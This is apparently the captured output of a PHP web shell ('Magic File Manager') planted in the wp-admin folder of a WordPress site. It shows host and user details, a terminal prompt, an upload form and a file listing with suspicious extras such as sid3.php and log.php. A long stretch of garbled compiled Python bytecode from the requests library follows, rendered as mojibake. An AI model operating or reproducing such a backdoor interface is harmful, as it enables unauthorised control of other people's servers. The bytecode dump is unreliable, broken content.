✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/korwalsolars.com/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log45.666 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 |`“hGtã@s¢dZddlZddlZddlZddlZddlZddlZddlZddlZddl Z ddl Z ddl Z ddl m Z ddl mZddlmZddlmZddlmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"dd l#m$Z$dd l%m&Z&dd l'm(Z(m)Z)m*Z*m+Z+djZ,ej-ƒZ.dddœZ/ej0dk�r2dd„Z1dd„Zdd„Z2dd„Z3dkdd„Z4dd„Z5dd „Z6d!d"„Z7d#d$„Z8d%d&„Z9d'd(„Z:dld)d*„Z;d+d,„Zd1d2„Z?d3d4„Z@d5d6„ZAd7d8„ZBd9d:„ZCeDdmƒZEd=d>„ZFd?d@„ZGdAdB„ZHdCdD„ZIdEdF„ZJdGdH„ZKejLdIdJ„ƒZMdKdL„ZNdndMdN„ZOdOdP„ZPdodRdS„ZQdTdU„ZRdVdW„ZSdXjTdYƒZUeUdZZVeUd[ZWd\d]„ZXd^d_„ZYd`da„ZZej[dbƒZ\ej[dcƒZ]ddde„Z^dfdg„Z_dhdi„Z`dS)pz” requests.utils ~~~~~~~~~~~~~~ This module provides utility functions that are used within Requests that are also useful for external consumption. éNé)Ú __version__)Úcerts)Úto_native_string)Úparse_http_list)ÚquoteÚurlparseÚbytesÚstrÚ OrderedDictÚunquoteÚ getproxiesÚ proxy_bypassÚ urlunparseÚ basestringÚ integer_typesÚis_py3Úproxy_bypass_environmentÚgetproxies_environmentÚMapping)Úcookiejar_from_dict)ÚCaseInsensitiveDict)Ú InvalidURLÚ InvalidHeaderÚFileModeWarningÚUnrewindableBodyErrorú.netrcÚ_netrcéPi»)ZhttpZhttpsZwin32cCsôytrddl}nddl}Wntk r.dSXy6|j|jdƒ}t|j|dƒdƒ}|j|dƒd}Wntk rzdSX| sˆ| rŒdS|j dƒ}xX|D]P}|dkr´d|kr´d S|j dd ƒ}|j d d ƒ}|j d dƒ}t j ||t j ƒrœd SqœWdS)NrFz;Software\Microsoft\Windows\CurrentVersion\Internet SettingsZ ProxyEnableZ ProxyOverrideú;zÚ.Tz\.Ú*z.*ú?)rÚwinregÚ_winregÚ ImportErrorÚOpenKeyÚHKEY_CURRENT_USERÚintZ QueryValueExÚOSErrorÚsplitÚreplaceÚreÚmatchÚI)Úhostr#ZinternetSettingsZ proxyEnableZ proxyOverrideZtest©r0ú/usr/lib/python3.6/utils.pyÚproxy_bypass_registry/s8         r2cCstƒrt|ƒSt|ƒSdS)zšReturn True, if the host should be bypassed. Checks proxy settings gathered from the environment, if specified, or the registry. N)rrr2)r/r0r0r1rVsrcCst|dƒr|jƒ}|S)z/Returns an internal sequence dictionary update.Úitems)Úhasattrr3)Údr0r0r1Údict_to_sequencebs r6cCs2d}d}t|dƒrt|ƒ}nbt|dƒr.|j}nPt|dƒr~y |jƒ}Wntjk rZYn$Xtj|ƒj}d|jkr~t j dt ƒt|dƒ�ry |j ƒ}Wn$t tfk rº|dk r¶|}Yn\Xt|dƒoÌ|dk�ry&|jdd ƒ|j ƒ}|j|pðdƒWnt tfk �rd}YnX|dk�r$d}td||ƒS) NrÚ__len__ÚlenÚfilenoÚba%Requests has determined the content-length for this request using the binary size of the file: however, the file has been opened in text mode (i.e. without the 'b' flag in the mode). This may lead to an incorrect content-length. In Requests 3.0, support will be removed for files in text mode.ÚtellÚseeké)r4r8r9ÚioÚUnsupportedOperationÚosÚfstatÚst_sizeÚmodeÚwarningsÚwarnrr;r)ÚIOErrorr<Úmax)ÚoZ total_lengthZcurrent_positionr9r0r0r1Ú super_lenks@             rIFc CsòyÔddlm}m}d}xJtD]B}ytjjdj|ƒƒ}Wntk rJdSXtjj|ƒr|}PqW|dkrndSt |ƒ}|j }y6||ƒj |ƒ} | r°| drœdnd} | | | dfSWn|t fk rÐ|rÌ‚YnXWnt tfk rìYnXdS)z;Returns the Requests tuple auth for a given url from netrc.r)ÚnetrcÚNetrcParseErrorNz~/{}rr=)rJrKÚ NETRC_FILESr@ÚpathÚ expanduserÚformatÚKeyErrorÚexistsrÚhostnameZauthenticatorsrFr%ÚAttributeError) ÚurlZ raise_errorsrJrKZ netrc_pathÚfÚlocZrir/rZlogin_ir0r0r1Úget_netrc_auth¨s2   rWcCsBt|ddƒ}|r>t|tƒr>|ddkr>|ddkr>tjj|ƒSdS)z0Tries to guess the filename of the given object.ÚnameNrúéÿÿÿÿ)ÚgetattrÚ isinstancerr@rMÚbasename)ÚobjrXr0r0r1Úguess_filenameÕs  r`cCs¼tjj|ƒr|Stjj|ƒ\}}x4|rTtjj|ƒ rTtjj|ƒ\}}dj||gƒ}q"Wtj|ƒsd|Stj|ƒ}||jƒkr~|St j ƒ}tjj|f|jdƒžŽ}tjj|ƒs¸|j ||d�}|S)zÄReplace nonexistent paths that look like they refer to a member of a zip archive with the location of an extracted copy of the target, or else just return the provided path unchanged. ú/)rM) r@rMrQr*ÚjoinÚzipfileZ is_zipfileZZipFileZnamelistÚtempfileZ gettempdirÚextract)rMÚarchiveÚmemberÚprefixZzip_fileZtmpZextracted_pathr0r0r1Úextract_zipped_pathsÝs      ricCs.|dkr dSt|ttttfƒr&tdƒ‚t|ƒS)aÅTake an object and test to see if it can be represented as a dictionary. Unless it can not be represented as such, return an OrderedDict, e.g., :: >>> from_key_val_list([('key', 'val')]) OrderedDict([('key', 'val')]) >>> from_key_val_list('string') ValueError: need more than 1 value to unpack >>> from_key_val_list({'key': 'val'}) OrderedDict([('key', 'val')]) :rtype: OrderedDict Nz+cannot encode objects that are not 2-tuples)r]r r Úboolr(Ú ValueErrorr )Úvaluer0r0r1Úfrom_key_val_listýs rmcCs@|dkr dSt|ttttfƒr&tdƒ‚t|tƒr8|jƒ}t|ƒS)aŒTake an object and test to see if it can be represented as a dictionary. If it can be, return a list of tuples, e.g., :: >>> to_key_val_list([('key', 'val')]) [('key', 'val')] >>> to_key_val_list({'key': 'val'}) [('key', 'val')] >>> to_key_val_list('string') ValueError: cannot encode objects that are not 2-tuples. :rtype: list Nz+cannot encode objects that are not 2-tuples) r]r r rjr(rkrr3Úlist)rlr0r0r1Úto_key_val_lists rocCs\g}xRt|ƒD]F}|dd…|dd…ko4dknrJt|dd…ƒ}|j|ƒqW|S)aParse lists as described by RFC 2068 Section 2. In particular, parse comma-separated lists where the elements of the list may include quoted-strings. A quoted-string could contain a comma. A non-quoted string could have quotes in the middle. Quotes are removed automatically after parsing. It basically works like :func:`parse_set_header` just that items may appear multiple times and case sensitivity is preserved. The return value is a standard :class:`list`: >>> parse_list_header('token, "quoted value"') ['token', 'quoted value'] To create a header from the :class:`list` again, use the :func:`dump_header` function. :param value: a string with a list header. :return: :class:`list` :rtype: list Nrú"r[r[)Ú_parse_list_headerÚunquote_header_valueÚappend)rlÚresultÚitemr0r0r1Úparse_list_header2s (rvcCs|i}xrt|ƒD]f}d|kr$d||<q|jddƒ\}}|dd…|dd…koVdknrlt|dd…ƒ}|||<qW|S)a^Parse lists of key, value pairs as described by RFC 2068 Section 2 and convert them into a python dict: >>> d = parse_dict_header('foo="is a fish", bar="as well"') >>> type(d) is dict True >>> sorted(d.items()) [('bar', 'as well'), ('foo', 'is a fish')] If there is no value for a key it will be `None`: >>> parse_dict_header('key_without_value') {'key_without_value': None} To create a header from the :class:`dict` again, use the :func:`dump_header` function. :param value: a string with a dict header. :return: :class:`dict` :rtype: dict ú=Nrrpr[r[)rqr*rr)rlrtrurXr0r0r1Úparse_dict_headerRs( rxcCs^|rZ|d|d kodknrZ|dd …}| sF|dd…dkrZ|jddƒjddƒS|S) zçUnquotes a header value. (Reversal of :func:`quote_header_value`). This does not use the real unquoting but what browsers are actually using for quoting. :param value: the header value to unquote. :rtype: str rrrpNr=z\\ú\z\"r[r[)r+)rlZ is_filenamer0r0r1rrus $ rrcCs"i}x|D]}|j||j<q W|S)z€Returns a key/value dictionary from a CookieJar. :param cj: CookieJar object to extract cookies from. :rtype: dict )rlrX)ÚcjÚ cookie_dictZcookier0r0r1Údict_from_cookiejarŽs r|cCs t||ƒS)zÂReturns a CookieJar from a key/value dictionary. :param cj: CookieJar to insert cookies into. :param cookie_dict: Dict of key/values to insert into CookieJar. :rtype: CookieJar )r)rzr{r0r0r1Úadd_dict_to_cookiejar�sr}cCsTtjdtƒtjdtjd�}tjdtjd�}tjdƒ}|j|ƒ|j|ƒ|j|ƒS)zlReturns encodings from given content string. :param content: bytestring to extract encodings from. z¤In requests 3.0, get_encodings_from_content will be removed. For more information, please see the discussion on issue #2266. (This warning should only appear once.)z!])Úflagsz+]z$^<\?xml.*?encoding=["\']*(.+?)["\'>])rDrEÚDeprecationWarningr,Úcompiler.Úfindall)ÚcontentZ charset_reZ pragma_reZxml_rer0r0r1Úget_encodings_from_content¨s rƒc Csž|jdƒ}|djƒ|dd…}}i}d}xh|D]`}|jƒ}|r2|d}}|jdƒ} | dkr†|d| …j|ƒ}|| dd…j|ƒ}|||jƒ<q2W||fS) z¦Returns content type and parameters from given header :param header: string :return: tuple containing content type and dictionary of parameters rrrNz"' Trwr[)r*ÚstripÚfindÚlower) ÚheaderÚtokensÚ content_typeÚparamsZ params_dictZitems_to_stripÚparamÚkeyrlZindex_of_equalsr0r0r1Ú_parse_content_type_header¼s    r�cCsD|jdƒ}|sdSt|ƒ\}}d|kr4|djdƒSd|kr@dSdS)z}Returns encodings from given HTTP Header Dict. :param headers: dictionary to extract encoding from. :rtype: str z content-typeNÚcharsetz'"Útextz ISO-8859-1)Úgetr�r„)Úheadersr‰rŠr0r0r1Úget_encoding_from_headersÕs  r’ccsr|jdkr"x|D] }|VqWdStj|jƒdd�}x |D]}|j|ƒ}|r:|Vq:W|jddd�}|rn|VdS)zStream decodes a iterator.Nr+)ÚerrorsóT)Úfinal)ÚencodingÚcodecsÚgetincrementaldecoderÚdecode)ÚiteratorÚrruÚdecoderÚchunkÚrvr0r0r1Ústream_decode_response_unicodeês      rŸccsLd}|dks|dkrt|ƒ}x*|t|ƒkrF||||…V||7}qWdS)z Iterate over slices of a string.rN)r8)ÚstringZ slice_lengthÚposr0r0r1Ú iter_slicesüs r¢cCsvtjdtƒg}t|jƒ}|rJy t|j|ƒStk rH|j|ƒYnXyt|j|dd�St k rp|jSXdS)zâReturns the requested content back in unicode. :param r: Response object to get unicode content from. Tried: 1. charset from content-type 2. fall back and replace all unicode characters :rtype: str z£In requests 3.0, get_unicode_from_response will be removed. For more information, please see the discussion on issue #2266. (This warning should only appear once.)r+)r“N) rDrErr’r‘r r‚Ú UnicodeErrorrsÚ TypeError)r›Ztried_encodingsr–r0r0r1Úget_unicode_from_responses   r¥Z4ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzz0123456789-._~c CsÈ|jdƒ}x²tdt|ƒƒD] }||dd…}t|ƒdkrª|jƒrªytt|dƒƒ}Wn tk rttd|ƒ‚YnX|tkr˜|||dd…||<qºd||||<qd||||<qWdj |ƒS) z¨Un-escape any percent-escape sequences in a URI that are unreserved characters. This leaves all reserved, illegal and non-ASCII bytes encoded. :rtype: str ú%rrr=éz%Invalid percent-escape sequence: '%s'NÚ) r*Úranger8ÚisalnumÚchrr(rkrÚUNRESERVED_SETrb)ÚuriÚpartsÚiÚhÚcr0r0r1Úunquote_unreserved/s r²c Cs:d}d}ytt|ƒ|d�Stk r4t||d�SXdS)z¬Re-quote the given URI. This function passes the given URI through an unquote/quote cycle to ensure that it is fully and consistently quoted. :rtype: str z!#$%&'()*+,/:;=?@[]~z!#$&'()*+,/:;=?@[]~)ZsafeN)rr²r)r­Zsafe_with_percentZsafe_without_percentr0r0r1Ú requote_uriGs r³cCsltjdtj|ƒƒd}|jdƒ\}}tjdtjtt|ƒƒƒƒd}tjdtj|ƒƒd|@}||@||@kS)zïThis function allows you to check if an IP belongs to a network subnet Example: returns True if ip = 192.168.1.1 and net = 192.168.1.0/24 returns False if ip = 192.168.1.1 and net = 192.168.100.0/24 :rtype: bool z=Lrra)ÚstructÚunpackÚsocketÚ inet_atonr*Údotted_netmaskr()ZipZnetZipaddrZnetaddrÚbitsZnetmaskZnetworkr0r0r1Úaddress_in_network]s rºcCs&ddd|>dA}tjtjd|ƒƒS)z�Converts mask from /xx format to xxx.xxx.xxx.xxx Example: if mask is 24 function returns 255.255.255.0 :rtype: str lÿÿré z>I)r¶Z inet_ntoar´Úpack)Úmaskr¹r0r0r1r¸lsr¸c Cs*ytj|ƒWntjk r$dSXdS)z :rtype: bool FT)r¶r·Úerror)Z string_ipr0r0r1Úis_ipv4_addressws r¿cCsˆ|jdƒdkr€yt|jdƒdƒ}Wntk r8dSX|dksJ|dkrNdSytj|jdƒdƒWq„tjk r|dSXndSdS)zV Very simple check of the cidr format in no_proxy variable. :rtype: bool rarFr»rT)Úcountr(r*rkr¶r·r¾)Zstring_networkr½r0r0r1Ú is_valid_cidr‚srÁc csT|dk }|r"tjj|ƒ}|tj|<z dVWd|rN|dkrDtj|=n |tj|<XdS)zÎSet the environment variable 'env_name' to 'value' Save previous value, yield, and then restore the previous value stored in the environment variable 'env_name'. If 'value' is None, do nothingN)r@Úenvironr�)Zenv_namerlZ value_changedZ old_valuer0r0r1Ú set_environšs    rÃc Cs,dd„}|}|dkr|dƒ}t|ƒ}|jdkr2dS|rØdd„|jdd ƒjd ƒDƒ}t|jƒr”xz|D],}t|ƒr€t|j|ƒrŽdSqb|j|krbdSqbWnD|j}|jr°|d j|jƒ7}x&|D]}|jj |ƒsÐ|j |ƒr¶dSq¶Wt d|ƒ�6yt |jƒ}Wn t t jfk �rd }YnXWdQRX|�r(dSd S) zL Returns whether we should bypass proxies or not. :rtype: bool cSstjj|ƒptjj|jƒƒS)N)r@rÂr�Úupper)Úkr0r0r1Ú¸sz'should_bypass_proxies..NÚno_proxyTcss|]}|r|VqdS)Nr0)Ú.0r/r0r0r1ú Ész(should_bypass_proxies..ú r¨ú,z:{}F)rrRr+r*r¿rÁrºZportrOÚendswithrÃrr¤r¶Zgaierror) rTrÇZ get_proxyZ no_proxy_argÚparsedZproxy_ipZhost_with_portr/Zbypassr0r0r1Úshould_bypass_proxies°s<        rÎcCst||d�riStƒSdS)zA Return a dict of environment proxies. :rtype: dict )rÇN)rÎr )rTrÇr0r0r1Úget_environ_proxiesís rÏcCsv|pi}t|ƒ}|jdkr.|j|j|jdƒƒS|jd|j|jd|jdg}d}x|D]}||krX||}PqXW|S)z­Select a proxy for the url, if applicable. :param url: The url being for the request :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs NÚallz://zall://)rrRr�Úscheme)rTZproxiesZurlpartsZ proxy_keysÚproxyZ proxy_keyr0r0r1Ú select_proxyùs  rÓúpython-requestscCs d|tfS)zO Return a string representing the default user agent. :rtype: str z%s/%s)r)rXr0r0r1Údefault_user_agentsrÕcCsttƒdjdƒdddœƒS)z9 :rtype: requests.structures.CaseInsensitiveDict z, ÚgzipÚdeflatez*/*z keep-alive)z User-AgentzAccept-EncodingZAcceptZ Connection)rÖr×)rrÕrbr0r0r0r1Údefault_headerss rØc CsÒg}d}|j|ƒ}|s|Sx²tjd|ƒD]¢}y|jddƒ\}}Wntk r^|d}}YnXd|jdƒi}xP|jdƒD]B}y|jdƒ\}}Wntk r¦PYnX|j|ƒ||j|ƒ<qzW|j|ƒq(W|S) z¼Return a list of parsed link headers proxies. i.e. Link: ; rel=front; type="image/jpeg",; rel=back;type="image/jpeg" :rtype: list z '"z, * '"rw)r„r,r*rkrs) rlZlinksZ replace_charsÚvalrTrŠÚlinkr‹rŒr0r0r1Úparse_header_links(s& rÛúÚasciir=écCsÐ|dd…}|tjtjfkr dS|dd…tjkr6dS|dd…tjtjfkrRdS|jtƒ}|dkrhd S|dkrœ|ddd…tkr†d S|d dd…tkrœd S|dkrÌ|dd…t kr¸d S|d d…t krÌdSdS)z :rtype: str Nézutf-32rÞz utf-8-sigr=zutf-16rzutf-8z utf-16-berz utf-16-lez utf-32-bez utf-32-le) r—Ú BOM_UTF32_LEÚ BOM_UTF32_BEÚBOM_UTF8Ú BOM_UTF16_LEÚ BOM_UTF16_BErÀÚ_nullÚ_null2Ú_null3)ÚdataZsampleZ nullcountr0r0r1Úguess_json_utfSs*  récCs8t||ƒ\}}}}}}|s$||}}t||||||fƒS)zªGiven a URL that may or may not have a scheme, prepend the given scheme. Does not replace a present scheme with the one provided as an argument. :rtype: str )rr)rTZ new_schemerÑÚnetlocrMrŠÚqueryÚfragmentr0r0r1Úprepend_scheme_if_neededss ríc CsBt|ƒ}yt|jƒt|jƒf}Wnttfk r<d}YnX|S)z{Given a url with authentication components, extract them into a tuple of username,password. :rtype: (str,str) r¨)r¨r¨)rr ZusernameZpasswordrSr¤)rTrÍZauthr0r0r1Úget_auth_from_url„s  rîs^\S[^\r\n]*$|^$z^\S[^\r\n]*$|^$c Csf|\}}t|tƒrt}nt}y|j|ƒs4td|ƒ‚Wn*tk r`td||t|ƒfƒ‚YnXdS)zÕVerifies that header value is a string which doesn't contain leading whitespace or return characters. This prevents unintended header injection. :param header: tuple, in the format (name, value). z7Invalid return character or leading space in header: %sz>Value for header {%s: %s} must be of type str or bytes, not %sN)r]r Ú_CLEAN_HEADER_REGEX_BYTEÚ_CLEAN_HEADER_REGEX_STRr-rr¤Útype)r‡rXrlZpatr0r0r1Úcheck_header_validity™s  ròcCsFt|ƒ\}}}}}}|s"||}}|jddƒd}t|||||dfƒS)zW Given a url remove the fragment and the authentication part. :rtype: str ú@rr¨r[)rÚrsplitr)rTrÑrêrMrŠrërìr0r0r1Ú urldefragauth®s  rõc Cs`t|jddƒ}|dk rTt|jtƒrTy||jƒWq\ttfk rPtdƒ‚Yq\Xntdƒ‚dS)zfMove file pointer back to its recorded starting position so it can be read again on redirect. r<Nz;An error occurred when rewinding request body for redirect.z+Unable to rewind request body for redirect.)r\Zbodyr]Z_body_positionrrFr)r)Zprepared_requestZ body_seekr0r0r1Ú rewind_body¿srö)rr)F)FzBABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~)N)rÔ)aÚ__doc__r—Ú contextlibr>r@r,r¶r´ÚsysrdrDrcrr¨rZ_internal_utilsrÚcompatrrqrrr r r r r rrrrrrrrZcookiesrZ structuresrÚ exceptionsrrrrrLÚwhereZDEFAULT_CA_BUNDLE_PATHZ DEFAULT_PORTSÚplatformr2r6rIrWr`rirmrorvrxrrr|r}rƒr�r’rŸr¢r¥Ú frozensetr¬r²r³rºr¸r¿rÁÚcontextmanagerrÃrÎrÏrÓrÕrØrÛÚencoderårærçrérírîr€rïrðròrõrör0r0r0r1Ú sŠ    D    '  = -  #   %  =   &